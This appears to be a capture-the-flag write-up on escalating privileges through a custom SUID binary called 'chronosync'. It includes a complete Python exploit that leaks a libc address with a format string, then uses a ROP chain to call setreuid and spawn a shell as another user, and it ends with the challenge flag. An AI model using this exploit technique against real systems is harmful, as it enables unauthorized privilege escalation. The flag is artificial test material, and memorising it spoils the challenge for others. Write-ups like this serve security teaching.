Overview
Inside user1's home directory or the system folders, we identify a custom SUID binary owned by user2 called chronosync.
Reconnaissance
We run basic tests and identify a format string vulnerability when inputting data to the binary.
Exploitation Strategy
1. Information Leak: We feed %11$p to the binary to leak a memory pointer and calculate the libc/binary base address dynamically (libc offset `0x87dda`).
2. ROP Chain Construction: We construct a ROP chain payload containing gadgets for setreuid(1002, 1002) to retain privileges, and then trigger system('/bin/sh').
3. We script the input/output flow using Python subprocess to control stdin/stdout and spawn a shell as user2, letting us read the flag.
Solution Code
import struct, subprocess, os, sys, select
p = subprocess.Popen(['/home/chronosync'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, bufsize=0)
# Step 1: Leak address via Format String
p.stdin.write(b"%11$p\n")
p.stdin.flush()
o = b""
while b"Hello, " not in o: o += p.stdout.read(1)
leak = int(p.stdout.read(14).split(b"!")[0], 16)
base = leak - 0x87dda
print(f"[+] Base: {hex(base)}")
# Step 2: Assemble ROP chain for setreuid(1002, 1002) + system('/bin/sh')
p64 = lambda x: struct.pack("<Q", x)
payload = b"A" * 136
payload += p64(0x40101a) # ret_gadget for stack alignment
payload += p64(base + 0x10f78b) # pop rdi
payload += p64(1002) # rdi = 1002
payload += p64(base + 0x110a7d) # pop rsi
payload += p64(1002) # rsi = 1002
payload += p64(base + 0x1270d0) # setreuid
payload += p64(base + 0x10f78b) # pop rdi
payload += p64(base + 0x1cb42f) # /bin/sh
payload += p64(0x40101a) # ret_gadget
payload += p64(base + 0x58750) # system
p.stdin.write(payload + b"\n")
p.stdin.flush()
# Interactive wrapper
while True:
r, _, _ = select.select([p.stdout, sys.stdin], [], [])
if p.stdout in r:
d = p.stdout.read(1)
if not d: break
sys.stdout.buffer.write(d); sys.stdout.buffer.flush()
if sys.stdin in r:
d = os.read(sys.stdin.fileno(), 1)
if not d: break
p.stdin.write(d); p.stdin.flush()Flag
FLAG{n92u8047219394791d3h746r}